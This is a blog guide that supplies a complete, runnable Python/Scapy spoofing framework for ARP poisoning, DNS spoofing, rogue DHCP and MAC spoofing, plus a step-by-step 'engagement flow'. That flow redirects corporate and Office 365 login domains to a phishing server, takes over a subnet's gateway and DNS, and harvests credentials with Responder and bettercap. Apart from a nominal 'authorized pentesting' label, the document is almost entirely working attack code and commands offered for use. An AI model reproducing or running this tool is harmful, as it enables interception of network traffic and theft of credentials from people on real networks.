Creating A Custom Spoofing Script (Guide)
- Dylan Gallus

- 8 hours ago
- 8 min read

Creating A Custom Spoofing Script
Here's a modular spoofing framework built on Scapy. It handles ARP poisoning, DNS spoofing, MAC spoofing, and DHCP rogue server — all from one script. This is a guide on creating a custom spoofing script.
Installation
bash
sudo apt install python3-scapy python3-netifaces python3-colorama
pip3 install scapy netifaces coloramaThe Script
python
#!/usr/bin/env python3
"""
Multi-Protocol Spoofing Framework
Authorized pentesting tool — ARP, DNS, DHCP, MAC spoofing
Requires: scapy, netifaces, colorama
Run as root: sudo python3 spoofer.py
"""
import argparse
import os
import sys
import signal
import time
import threading
from dataclasses import dataclass
from typing import Optional, List, Dict, Set
from scapy.all import (
get_if_hwaddr, get_if_addr, get_if_list,
Ether, ARP, IP, UDP, DNS, DNSQR, DNSRR,
BOOTP, DHCP,
sniff, send, sendp, srp, srp1,
conf, RandMAC
)
import netifaces
from colorama import Fore, Style, init
init(autoreset=True)
# ──────────────────────────────────────────────────
# UTILITIES
# ──────────────────────────────────────────────────
def banner():
print(f"""{Fore.CYAN}
╔══════════════════════════════════════════╗
║ MULTI-PROTOCOL SPOOFING FRAMEWORK ║
║ Authorized Pentesting ║
╚══════════════════════════════════════════╝{Style.RESET_ALL}
""")
def log_info(msg):
print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {msg}")
def log_warn(msg):
print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} {msg}")
def log_error(msg):
print(f"{Fore.RED}[-]{Style.RESET_ALL} {msg}")
def log_spoof(msg):
print(f"{Fore.MAGENTA}[SPOOF]{Style.RESET_ALL} {msg}")
def validate_ip(ip: str) -> bool:
parts = ip.split(".")
return len(parts) == 4 and all(p.isdigit() and 0 <= int(p) <= 255 for p in parts)
def get_interface_info(iface: str) -> Dict[str, str]:
"""Gather interface MAC, IP, netmask, gateway"""
info = {
"mac": get_if_hwaddr(iface),
"ip": get_if_addr(iface),
"gateway": None,
"netmask": None,
}
gws = netifaces.gateways()
default = gws.get("default", {})
if netifaces.AF_INET in default:
gw_iface = default[netifaces.AF_INET][1]
if gw_iface == iface:
info["gateway"] = default[netifaces.AF_INET][0]
addrs = netifaces.ifaddresses(iface)
if netifaces.AF_INET in addrs:
for addr in addrs[netifaces.AF_INET]:
if "netmask" in addr:
info["netmask"] = addr["netmask"]
break
return info
def get_network_range(ip: str, netmask: str) -> str:
"""Convert IP/netmask to CIDR for scanning"""
from ipaddress import IPv4Network
network = IPv4Network(f"{ip}/{netmask}", strict=False)
return str(network)
def enable_ip_forwarding():
"""Enable kernel IP forwarding for MITM"""
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
f.write("1")
log_info("IP forwarding enabled")
def disable_ip_forwarding():
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
f.write("0")
log_info("IP forwarding disabled")
def iptables_redirect(port: int, redirect_to: int):
"""Redirect traffic to local service (e.g., for captive portal)"""
os.system(f"iptables -t nat -A PREROUTING -p tcp --dport {port} "
f"-j REDIRECT --to-port {redirect_to} 2>/dev/null")
log_info(f"iptables redirect: {port} → {redirect_to}")
def iptables_cleanup():
os.system("iptables -t nat -F PREROUTING 2>/dev/null")
log_info("iptables rules cleaned")
def list_interfaces():
"""Show available network interfaces"""
print(f"\n{Fore.CYAN}Available Interfaces:{Style.RESET_ALL}")
for i, iface in enumerate(get_if_list()):
try:
mac = get_if_hwaddr(iface)
ip = get_if_addr(iface)
print(f" [{i}] {Fore.WHITE}{iface}{Style.RESET_ALL} - MAC: {mac} - IP: {ip}")
except Exception:
print(f" [{i}] {Fore.WHITE}{iface}{Style.RESET_ALL} (no addressing)")
# ──────────────────────────────────────────────────
# ARP SPOOFING
# ──────────────────────────────────────────────────
class ARPSpoofer:
"""Bidirectional ARP poisoning between target and gateway"""
def __init__(self, interface: str, target_ip: str, gateway_ip: str):
self.iface = interface
self.attacker_mac = get_if_hwaddr(interface)
self.target_ip = target_ip
self.gateway_ip = gateway_ip
self.running = False
# Resolve MACs
log_info(f"Resolving MAC for gateway {gateway_ip}...")
resp = srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=gateway_ip),
timeout=3, iface=interface, verbose=0)
if resp:
self.gateway_mac = resp.hwsrc
log_info(f"Gateway MAC: {self.gateway_mac}")
else:
log_error("Gateway did not respond to ARP")
sys.exit(1)
log_info(f"Resolving MAC for target {target_ip}...")
resp = srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=target_ip),
timeout=3, iface=interface, verbose=0)
if resp:
self.target_mac = resp.hwsrc
log_info(f"Target MAC: {self.target_mac}")
else:
log_error("Target did not respond to ARP")
sys.exit(1)
def _poison(self):
"""Send forged ARP replies to both sides"""
# Tell target: "I am the gateway"
pkt_target = Ether(src=self.attacker_mac, dst=self.target_mac) / \
ARP(op=2, psrc=self.gateway_ip, pdst=self.target_ip,
hwsrc=self.attacker_mac, hwdst=self.target_mac)
# Tell gateway: "I am the target"
pkt_gateway = Ether(src=self.attacker_mac, dst=self.gateway_mac) / \
ARP(op=2, psrc=self.target_ip, pdst=self.gateway_ip,
hwsrc=self.attacker_mac, hwdst=self.gateway_mac)
sendp(pkt_target, iface=self.iface, verbose=0)
sendp(pkt_gateway, iface=self.iface, verbose=0)
def _restore(self):
"""Restore legitimate ARP entries"""
log_info("Restoring ARP tables...")
# Restore target
pkt_target = Ether(src=self.gateway_mac, dst=self.target_mac) / \
ARP(op=2, psrc=self.gateway_ip, pdst=self.target_ip,
hwsrc=self.gateway_mac, hwdst=self.target_mac)
# Restore gateway
pkt_gateway = Ether(src=self.target_mac, dst=self.gateway_mac) / \
ARP(op=2, psrc=self.target_ip, pdst=self.gateway_ip,
hwsrc=self.target_mac, hwdst=self.gateway_mac)
for _ in range(5):
sendp(pkt_target, iface=self.iface, verbose=0)
sendp(pkt_gateway, iface=self.iface, verbose=0)
time.sleep(0.2)
log_info("ARP tables restored")
def start(self, interval: float = 2.0):
"""Begin ARP spoofing loop"""
self.running = True
enable_ip_forwarding()
log_spoof(f"ARP poisoning: {self.target_ip} ↔ {self.gateway_ip} (every {interval}s)")
print(f"{Fore.YELLOW}Press Ctrl+C to stop...{Style.RESET_ALL}")
try:
while self.running:
self._poison()
time.sleep(interval)
except KeyboardInterrupt:
pass
finally:
self.stop()
def stop(self):
"""Stop spoofing and restore ARP"""
self.running = False
self._restore()
disable_ip_forwarding()
# ──────────────────────────────────────────────────
# DNS SPOOFING
# ──────────────────────────────────────────────────
class DNSSpoofer:
"""Intercept DNS queries and return spoofed responses"""
def __init__(self, interface: str, redirect_ip: str,
domains: Optional[Dict[str, str]] = None,
wildcard: bool = False):
self.iface = interface
self.redirect_ip = redirect_ip
self.domains = domains or {}
self.wildcard = wildcard # If True, redirect ALL queries
self.running = False
def _dns_handler(self, pkt):
"""Process DNS query packet, return spoofed response"""
if not pkt.haslayer(DNS) or not pkt.haslayer(UDP):
return
if pkt[DNS].qr != 0: # Not a query
return
if not pkt.haslayer(DNSQR):
return
qname = pkt[DNSQR].qname.decode("utf-8").rstrip(".")
qtype = pkt[DNSQR].qtype
# Only handle A records
if qtype != 1:
return
# Determine if we should spoof this domain
spoofed_ip = None
if self.wildcard:
spoofed_ip = self.redirect_ip
elif qname.lower() in self.domains:
spoofed_ip = self.domains[qname.lower()]
if spoofed_ip is None:
return
# Build spoofed DNS response
eth = Ether(src=pkt[Ether].dst, dst=pkt[Ether].src)
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
udp = UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)
dns = DNS(
id=pkt[DNS].id,
qr=1, # Response
aa=1, # Authoritative
rd=pkt[DNS].rd,
ra=0,
qd=pkt[DNS].qd,
an=DNSRR(rrname=pkt[DNSQR].qname, type=1, ttl=600, rdata=spoofed_ip)
)
spoof_pkt = eth / ip / udp / dns
sendp(spoof_pkt, iface=self.iface, verbose=0)
log_spoof(f"DNS: {qname} → {spoofed_ip} (from {pkt[IP].src})")
def start(self):
"""Begin DNS spoofing"""
self.running = True
domain_list = ", ".join(self.domains.keys()) if not self.wildcard else "ALL"
log_spoof(f"DNS spoofing: {domain_list} → {self.redirect_ip}")
log_info("ARP spoof target first, then run DNS spoof")
print(f"{Fore.YELLOW}Press Ctrl+C to stop...{Style.RESET_ALL}")
try:
sniff(iface=self.iface, filter="udp port 53",
prn=self._dns_handler, store=0,
stop_filter=lambda _: not self.running)
except KeyboardInterrupt:
pass
finally:
self.running = False
log_info("DNS spoofing stopped")
# ──────────────────────────────────────────────────
# DHCP SPOOFING (ROGUE DHCP)
# ──────────────────────────────────────────────────
class DHCPSpoofer:
"""Rogue DHCP server — responds faster than legitimate DHCP"""
def __init__(self, interface: str, pool_start: str, pool_end: Optional[str] = None,
gateway: Optional[str] = None, dns: Optional[str] = None,
lease_time: int = 3600):
self.iface = interface
self.attacker_mac = get_if_hwaddr(interface)
self.attacker_ip = get_if_addr(interface)
self.pool_start = pool_start
self.pool_end = pool_end or pool_start
self.gateway = gateway or self.attacker_ip # Default: us as gateway
self.dns = dns or self.attacker_ip # Default: us as DNS
self.lease_time = lease_time
self.running = False
self.leases: Dict[str, str] = {} # MAC → IP
self._next_ip = self._ip_to_int(pool_start)
@staticmethod
def _ip_to_int(ip: str) -> int:
parts = ip.split(".")
return (int(parts[0]) << 24) + (int(parts[1]) << 16) + \
(int(parts[2]) << 8) + int(parts[3])
@staticmethod
def _int_to_ip(val: int) -> str:
return f"{(val >> 24) & 0xFF}.{(val >> 16) & 0xFF}." \
f"{(val >> 8) & 0xFF}.{val & 0xFF}"
def _allocate_ip(self, client_mac: str) -> str:
"""Allocate IP from pool, reuse existing leases"""
if client_mac in self.leases:
return self.leases[client_mac]
ip = self._int_to_ip(self._next_ip)
self.leases[client_mac] = ip
self._next_ip += 1
# Prevent overflow past pool end
pool_end_int = self._ip_to_int(self.pool_end)
if self._next_ip > pool_end_int:
self._next_ip = self._ip_to_int(self.pool_start)
return ip
def _dhcp_handler(self, pkt):
"""Handle DHCP discover and request packets"""
if not pkt.haslayer(DHCP):
return
if not pkt.haslayer(BOOTP):
return
dhcp = pkt[DHCP]
bootp = pkt[BOOTP]
client_mac = pkt[Ether].src
# DHCP message type
msg_type = None
for opt in dhcp.options:
if isinstance(opt, tuple) and opt[0] == "message-type":
msg_type = opt[1]
break
if msg_type not in [1, 3]: # 1=Discover, 3=Request
return
client_ip = self._allocate_ip(client_mac)
# Build DHCP OFFER (for Discover) or ACK (for Request)
response_type = 2 if msg_type == 1 else 5 # 2=Offer, 5=ACK
dhcp_options = [
("message-type", response_type),
("server_id", self.attacker_ip),
("subnet_mask", "255.255.255.0"),
("router", self.gateway),
("name_server", self.dns),
("lease_time", self.lease_time),
("renewal_time", self.lease_time // 2),
("rebinding_time", self.lease_time * 7 // 8),
"end",
]
eth = Ether(src=self.attacker_mac, dst=client_mac)
ip_eth = IP(src=self.attacker_ip, dst="255.255.255.255")
udp = UDP(sport=67, dport=68)
bootp_resp = BOOTP(
op=2, # BOOTREPLY
xid=bootp.xid,
yiaddr=client_ip,
siaddr=self.attacker_ip,
chaddr=bootp.chaddr,
)
dhcp_resp = DHCP(options=dhcp_options)
pkt_out = eth / ip_eth / udp / bootp_resp / dhcp_resp
sendp(pkt_out, iface=self.iface, verbose=0)
action = "OFFER" if msg_type == 1 else "ACK"
log_spoof(f"DHCP {action}: {client_mac} → {client_ip}")
def start(self):
"""Begin rogue DHCP server"""
self.running = True
log_spoof(f"Rogue DHCP: pool {self.pool_start}-{self.pool_end} "
f"gateway={self.gateway} dns={self.dns}")
print(f"{Fore.YELLOW}Press Ctrl+C to stop...{Style.RESET_ALL}")
try:
sniff(iface=self.iface, filter="udp and (port 67 or port 68)",
prn=self._dhcp_handler, store=0,
stop_filter=lambda _: not self.running)
except KeyboardInterrupt:
pass
finally:
self.running = False
log_info("DHCP spoofing stopped")
print(f"\n{Fore.CYAN}Leases issued:{Style.RESET_ALL}")
for mac, ip in self.leases.items():
print(f" {mac} → {ip}")
# ──────────────────────────────────────────────────
# MAC SPOOFING
# ──────────────────────────────────────────────────
def mac_spoof(interface: str, new_mac: Optional[str] = None):
"""Change MAC address on specified interface"""
if new_mac is None:
new_mac = RandMAC()._fix()
log_info(f"Changing {interface} MAC → {new_mac}")
# Bring interface down
os.system(f"ip link set {interface} down 2>/dev/null")
# Change MAC
os.system(f"ip link set {interface} address {new_mac} 2>/dev/null")
# Bring interface up
os.system(f"ip link set {interface} up 2>/dev/null")
# Verify
current_mac = get_if_hwaddr(interface)
if current_mac.lower() == new_mac.lower():
log_info(f"MAC successfully changed to {current_mac}")
else:
log_warn(f"MAC may not have changed: current={current_mac}, requested={new_mac}")
return current_mac
# ──────────────────────────────────────────────────
# NETWORK SCANNER (ARP-based host discovery)
# ──────────────────────────────────────────────────
def arp_scan(interface: str, target_range: str) -> List[Dict[str, str]]:
"""Scan network for live hosts via ARP"""
log_info(f"ARP scanning {target_range} on {interface}...")
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=target_range),
timeout=3, iface=interface, verbose=0)
hosts = []
for _, rcv in ans:
hosts.append({"ip": rcv.psrc, "mac": rcv.hwsrc})
log_info(f" {rcv.psrc} — {rcv.hwsrc}")
return hosts
# ──────────────────────────────────────────────────
# MAIN CLI
# ──────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="Multi-Protocol Spoofing Framework — Authorized Pentesting",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# List interfaces
sudo python3 spoofer.py --list
# MAC spoofing
sudo python3 spoofer.py --mac-spoof wlan0
sudo python3 spoofer.py --mac-spoof wlan0 --new-mac 00:11:22:33:44:55
# ARP spoofing (MITM)
sudo python3 spoofer.py --arp --iface eth0 --target 192.168.1.10 --gateway 192.168.1.1
# DNS spoofing (must ARP-spoof first in another terminal)
sudo python3 spoofer.py --dns --iface eth0 --redirect 192.168.1.100
sudo python3 spoofer.py --dns --iface eth0 --redirect 192.168.1.100 \\
--domain google.com --domain facebook.com
sudo python3 spoofer.py --dns --iface eth0 --redirect 192.168.1.100 --wildcard
# Rogue DHCP server
sudo python3 spoofer.py --dhcp --iface eth0 --pool 192.168.1.200-192.168.1.250
# Scan + ARP spoof first discovered target
sudo python3 spoofer.py --arp --iface eth0 --scan 192.168.1.0/24 --gateway 192.168.1.1
"""
)
parser.add_argument("--list", action="store_true", help="List network interfaces")
parser.add_argument("--iface", "-i", help="Network interface")
parser.add_argument("--interval", type=float, default=2.0, help="ARP spoof interval (seconds)")
# MAC spoofing
parser.add_argument("--mac-spoof", metavar="IFACE", help="Spoof MAC address")
parser.add_argument("--new-mac", help="Target MAC (random if omitted)")
# ARP spoofing
parser.add_argument("--arp", action="store_true", help="ARP spoofing mode")
parser.add_argument("--target", "-t", help="Target IP for ARP spoofing")
parser.add_argument("--gateway", "-g", help="Gateway IP for ARP spoofing")
# DNS spoofing
parser.add_argument("--dns", action="store_true", help="DNS spoofing mode")
parser.add_argument("--redirect", "-r", help="Redirect IP for DNS spoofing")
parser.add_argument("--domain", "-d", action="append", help="Domain to spoof (can repeat)")
parser.add_argument("--wildcard", action="store_true", help="Spoof ALL DNS queries")
# DHCP spoofing
parser.add_argument("--dhcp", action="store_true", help="DHCP spoofing mode (rogue server)")
parser.add_argument("--pool", help="DHCP pool (start-end, e.g., 192.168.1.200-192.168.1.250)")
parser.add_argument("--dhcp-gateway", help="DHCP gateway IP (default: attacker IP)")
parser.add_argument("--dhcp-dns", help="DHCP DNS IP (default: attacker IP)")
# Scanner
parser.add_argument("--scan", help="ARP scan range (e.g., 192.168.1.0/24)")
args = parser.parse_args()
banner()
# --list
if args.list:
list_interfaces()
return
# MAC spoofing
if args.mac_spoof:
mac_spoof(args.mac_spoof, args.new_mac)
return
# Require interface for everything else
if not args.iface:
log_error("--iface required. Use --list to see available interfaces.")
sys.exit(1)
# --scan only
if args.scan and not (args.arp or args.dns or args.dhcp):
arp_scan(args.iface, args.scan)
return
# --scan + --arp: scan first, then pick first target
if args.scan and args.arp:
hosts = arp_scan(args.iface, args.scan)
if not hosts:
log_error("No hosts found")
return
target = args.target or hosts[0]["ip"]
gateway = args.gateway
if not gateway:
log_error("--gateway required")
return
spoofer = ARPSpoofer(args.iface, target, gateway)
spoofer.start(interval=args.interval)
return
# ARP spoofing
if args.arp:
if not args.target or not args.gateway:
log_error("--target and --gateway required for ARP spoofing")
sys.exit(1)
spoofer = ARPSpoofer(args.iface, args.target, args.gateway)
spoofer.start(interval=args.interval)
return
# DNS spoofing
if args.dns:
if not args.redirect:
log_error("--redirect required for DNS spoofing")
sys.exit(1)
domains = {}
if args.domain:
for d in args.domain:
domains[d.lower()] = args.redirect
spoofer = DNSSpoofer(args.iface, args.redirect, domains, args.wildcard)
spoofer.start()
return
# DHCP spoofing
if args.dhcp:
if not args.pool:
log_error("--pool required for DHCP spoofing (e.g., 192.168.1.200-192.168.1.250)")
sys.exit(1)
parts = args.pool.split("-")
pool_start = parts[0]
pool_end = parts[1] if len(parts) > 1 else pool_start
spoofer = DHCPSpoofer(
args.iface, pool_start, pool_end,
gateway=args.dhcp_gateway,
dns=args.dhcp_dns
)
spoofer.start()
return
# No mode specified
parser.print_help()
if __name__ == "__main__":
# Cleanup iptables on exit
signal.signal(signal.SIGINT, lambda s, f: (iptables_cleanup(), sys.exit(0)))
main()Usuage Patterns
Typical Engagement Flow
1. Recon — ARP scan the network:
bash
sudo python3 spoofer.py -i eth0 --scan 192.168.1.0/24
2. ARP spoof the target + gateway (opens MITM position):
bash
# In terminal 1 — keep running
sudo python3 spoofer.py -i eth0 --arp --target 192.168.1.105 --gateway 192.168.1.1
3. DNS spoofing (phishing / credential capture):
bash
# In terminal 2 while ARP spoof is running
sudo python3 spoofer.py -i eth0 --dns --redirect 192.168.1.100 \
-d login.corp.local -d outlook.office365.com
4. Combined — scan, spoof first host, prep for DNS:
bash
# Terminal 1: ARP
sudo python3 spoofer.py -i eth0 --arp --scan 192.168.1.0/24 --gateway 192.168.1.1
# Terminal 2: DNS with wildcard (everything redirects to your phishing server)
sudo python3 spoofer.py -i eth0 --dns --redirect 192.168.1.100 --wildcard
5. Rogue DHCP — own the entire subnet:
bash
sudo python3 spoofer.py -i eth0 --dhcp --pool 192.168.1.200-192.168.1.250 \
--dhcp-gateway 192.168.1.100 --dhcp-dns 192.168.1.100Post-Spoofing: What to Do With the Position
Once ARP+DNS spoofing is active, combine with other tools:
bash
# Credential harvester (Responder)
sudo responder -I eth0 -w -v
# Bettercap HTTP/HTTPS proxy
sudo bettercap -eval "net.probe on; http.proxy on; https.proxy on"
# Your own captive portal / phishing page
python3 -m http.server 80 # Serves fake login page
# Packet capture
sudo tcpdump -i eth0 -w capture.pcap host 192.168.1.105



Comments